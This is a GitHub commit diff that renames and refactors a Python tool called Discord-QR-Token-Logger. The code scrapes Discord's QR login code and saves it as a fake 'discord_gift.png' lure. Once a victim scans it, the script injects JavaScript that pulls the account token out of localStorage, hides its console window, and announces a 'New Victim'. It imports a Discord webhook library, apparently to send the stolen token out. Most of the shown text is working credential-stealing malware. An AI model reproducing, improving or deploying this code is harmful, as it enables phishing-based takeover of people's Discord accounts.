Update and rename QR-dtg.py to Discord-QR-Token-Logger.py

This commit is contained in:
mouadessalim 2022-08-26 20:56:03 +01:00 committed by GitHub
parent d6ff1086ae
commit ae18586f57
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -6,7 +6,7 @@ from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from discord_webhook import DiscordEmbed, DiscordWebhook
from pystyle import System, Center, Colorate, Colors, Box, Write
from resources.utilities import pystray_img, banner
from utilities import pystray_img, banner
from pystray import Menu, MenuItem, Icon
from io import BytesIO
import ctypes
@ -50,19 +50,19 @@ def main(webhook_url) -> None:
opts.add_argument('--log-level 3')
from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle.
os.environ['WDM_LOG_LEVEL'] = '0'
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
driver.get("https://discord.com/login")
main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
main.driver.get("https://discord.com/login")
time.sleep(5)
source = BeautifulSoup(driver.page_source, features="lxml")
source = BeautifulSoup(main.driver.page_source, features="lxml")
if not (div := re.search(r"qrCode-......", str(source))):
print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow))
sys.exit()
div = div.group(0)
div = source.find("div", {"class": f"{div}"})
qr_code = div.find("img")["src"]
source = BeautifulSoup(driver.page_source, features="lxml")
source = BeautifulSoup(main.driver.page_source, features="lxml")
div = source.find("div", {"class": "qrCode"})
discord_login = driver.current_url
discord_login = main.driver.current_url
with TemporaryDirectory(dir='.') as td:
with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', '')))
@ -76,12 +76,12 @@ def main(webhook_url) -> None:
time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
while True:
if discord_login != driver.current_url:
if discord_login != main.driver.current_url:
try:
os.remove('discord_gift.png')
except:
pass
token = driver.execute_script('''
token = main.driver.execute_script('''
window.dispatchEvent(new Event('beforeunload'));
let iframe = document.createElement('iframe');
iframe.style.display = 'none';
@ -91,7 +91,7 @@ def main(webhook_url) -> None:
return token;
''')
break
driver.quit()
main.driver.quit()
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
@ -138,6 +138,10 @@ if __name__ == "__main__":
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
elif str(item) == 'Quit':
pystray_icon.icon.stop()
try:
main.driver.quit()
except:
pass
os._exit(0)
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu(